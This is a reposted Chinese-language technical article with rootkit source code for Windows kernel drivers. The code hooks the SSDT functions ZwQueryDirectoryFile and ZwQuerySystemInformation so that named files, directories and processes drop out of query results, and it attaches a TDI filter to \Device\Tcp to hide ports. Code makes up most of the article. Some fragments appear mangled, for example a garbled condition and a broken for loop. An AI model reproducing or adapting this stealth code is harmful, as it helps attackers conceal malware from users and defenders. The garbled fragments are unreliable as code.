| 关键词: ptr NextEntryDelta SystemInformatio ULONG STATUS curr FileInformationB name DWORD TcpgetDevice |
隐藏任意进程,目录/文件,注册表,端口 Author: sinisterEmail: [email protected]://www.whitecell.org 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下 才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所 写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利 用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到 隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了 充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。 (注册表操作在 RegMon 中写的很详细,这里就不列出了) typedef struct _FILETIME{DWORD dwLowDateTime;DWORD dwHighDateTime; } FILETIME;typedef struct _DirEntry {DWORD dwLenToNext;DWORD dwAttr;FILETIME ftCreate, ftLastAccess, ftLastWrite;DWORD dwUnknown[ 2 ];DWORD dwFileSizeLow;DWORD dwFileSizeHigh;DWORD dwUnknown2[ 3 ];WORD wNameLen;WORD wUnknown;DWORD dwUnknown3;WORD wShortNameLen;WCHAR swShortName[ 12 ];WCHAR suName[ 1 ];} DirEntry, *PDirEntry;struct _SYSTEM_THREADS{LARGE_INTEGER KernelTime;LARGE_INTEGER UserTime;LARGE_INTEGER CreateTime;ULONG WaitTime;PVOID StartAddress;CLIENT_ID ClientIs;KPRIORITY Priority;KPRIORITY BasePriority;ULONG ContextSwitchCount;ULONG ThreadState;KWAIT_REASON WaitReason;};struct _SYSTEM_PROCESSES{ULONG NextEntryDelta;ULONG ThreadCount;ULONG Reserved[6];LARGE_INTEGER CreateTime;LARGE_INTEGER UserTime;LARGE_INTEGER KernelTime;UNICODE_STRING ProcessName;KPRIORITY BasePriority;ULONG ProcessId;ULONG InheritedFromProcessId;ULONG HandleCount;ULONG Reserved2[2];VM_COUNTERS VmCounters;IO_COUNTERS IoCounters;struct _SYSTEM_THREADS Threads[1];};// 隐藏目录/文件NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,IN HANDLE hEvent OPTIONAL,IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,IN PVOID IoApcContext OPTIONAL,OUT PIO_STATUS_BLOCK pIoStatusBlock,OUT PVOID FileInformationBuffer,IN ULONG FileInformationBufferLength,IN FILE_INFORMATION_CLASS FileInfoClass,IN BOOLEAN bReturnOnlyOneEntry,IN PUNICODE_STRING PathMask OPTIONAL,IN BOOLEAN bRestartQuery){NTSTATUS rc;CHAR aProcessName[80]; ANSI_STRING ansiFileName,ansiDirName;UNICODE_STRING uniFileName;PP_DIR ptr;WCHAR ParentDirectory[1024] = {0};int BytesReturned;PVOID Object;// 执行旧的ZwQueryDirectoryFile函数rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile, hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);if(NT_SUCCESS(rc)) {PDirEntry p;PDirEntry pLast;BOOL bLastOne;int found; p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构pLast = NULL;do {bLastOne = !( p->dwLenToNext );RtlInitUnicodeString(&uniFileName,p->suName);RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);RtlUpperString(&ansiFileName,&ansiDirName);found=0;// 在链表中查找是否包含当前目录for(ptr = list_head; ptr != NULL; ptr = ptr->next){if (ptr->flag != PTR_HIDEDIR) continue; if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name)){found=1;break;}}//end for// 如果链表中包含当前目录,隐藏if(found){if(bLastOne) {if(p == (PDirEntry)FileInformationBuffer ){rc = 0x80000006; //隐藏}elsepLast->dwLenToNext = 0;break;} else {int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );continue;}}pLast = p;p = (PDirEntry)((char *)p + p->dwLenToNext );}while( !bLastOne );RtlFreeAnsiString(&ansiDirName); RtlFreeAnsiString(&ansiFileName);}return(rc);}// 隐藏进程NTSTATUS HookZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength){NTSTATUS rc;ANSI_STRING process_name,process_uname,process_name1,process_name2;BOOL g_hide_proc = TRUE;CHAR aProcessName[80];PP_DIR ptr; int found;// 执行旧的ZwQuerySystemInformation函数rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength );if(NT_SUCCESS(rc )) {if( g_hide_proc && (5 == SystemInformationClass)){// 将查找出来结果赋给结构struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;struct _SYSTEM_PROCESSES *prev = NULL;// 遍历进程while(curr){ if((0 process_name.Length)){found=0;// 遍历链表for (ptr=list_head;ptr!=NULL;ptr=ptr->next ){ if (ptr->flag != PTR_HIDEPROC) continue ;if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0){found =1;}}// 判断如果是隐藏进程名则覆盖掉此进程名while(found){if(prev){if(curr->NextEntryDelta){prev->NextEntryDelta += curr->NextEntryDelta;}else{prev->NextEntryDelta = 0;}}else{if(curr->NextEntryDelta){(char *)SystemInformation += curr->NextEntryDelta;}else{SystemInformation = NULL;}}if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);else {curr = NULL;break;}// 遍历链表found = 0;for (ptr=list_head;ptr!=NULL;ptr=ptr->next ){ if (ptr->flag != PTR_HIDEPROC) continue ;if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0){found = 1;}}}}if(curr != NULL){prev = curr;if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);else curr = NULL;}}}}return(rc);}//隐藏端口PDEVICE_OBJECT m_TcpgetDevice;PDEVICE_OBJECT TcpDevice; UNICODE_STRING TcpDeviceName; PDRIVER_OBJECT TcpDriver; PDEVICE_OBJECT TcpgetDevice; PDEVICE_OBJECT FilterDevicePDRIVER_DISPATCH Empty; NTSTATUS status; Empty = DriverObject->MajorFunction[IRP_MJ_CREATE]; RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp"); //得到已有的设备指针status = IoGetDeviceObjectPointer( &TcpDeviceName, FILE_ALL_ACCESS, &FileObject, &TcpDevice); if(!NT_SUCCESS(status)) { DbgPrint("IoGetDeviceObjectPointer error!\n");return status; } DbgPrint("IoGetDeviceObjectPointer ok!\n");// 建立设备 status = IoCreateDevice( DriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_UNKNOWN, 0, FALSE, &FilterDevice); if(!NT_SUCCESS(status)) { return status; } // 加入设备TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice); if(!TcpgetDevice) { IoDeleteDevice(FilterDevice); DbgPrint("IoAttachDeviceToDeviceStack error!\n");return STATUS_SUCCESS; } m_TcpgetDevice = TcpgetDevice;// 加到过滤函数中处理for(i=0;i{ if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty)) { DriverObject->MajorFunction[i] = PassThrough; } } ObDereferenceObject(FileObject); NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { NTSTATUS status; PIO_STACK_LOCATION pIrpStack;pIrpStack = IoGetCurrentIrpStackLocation( Irp );//如是查询则完成 IRP if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX){//这里可以近一步判断某个端口Irp->IoStatus.Status=STATUS_SUCCESS; IoCompleteRequest(Irp,IO_NO_INCREMENT); return STATUS_SUCCESS; }//复制当前 IRP IoCopyCurrentIrpStackLocationToNext(Irp);IoSetCompletionRoutine( Irp, GenericCompletion, NULL, TRUE,TRUE,TRUE); //传递return IoCallDriver( m_TcpgetDevice, Irp); } |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|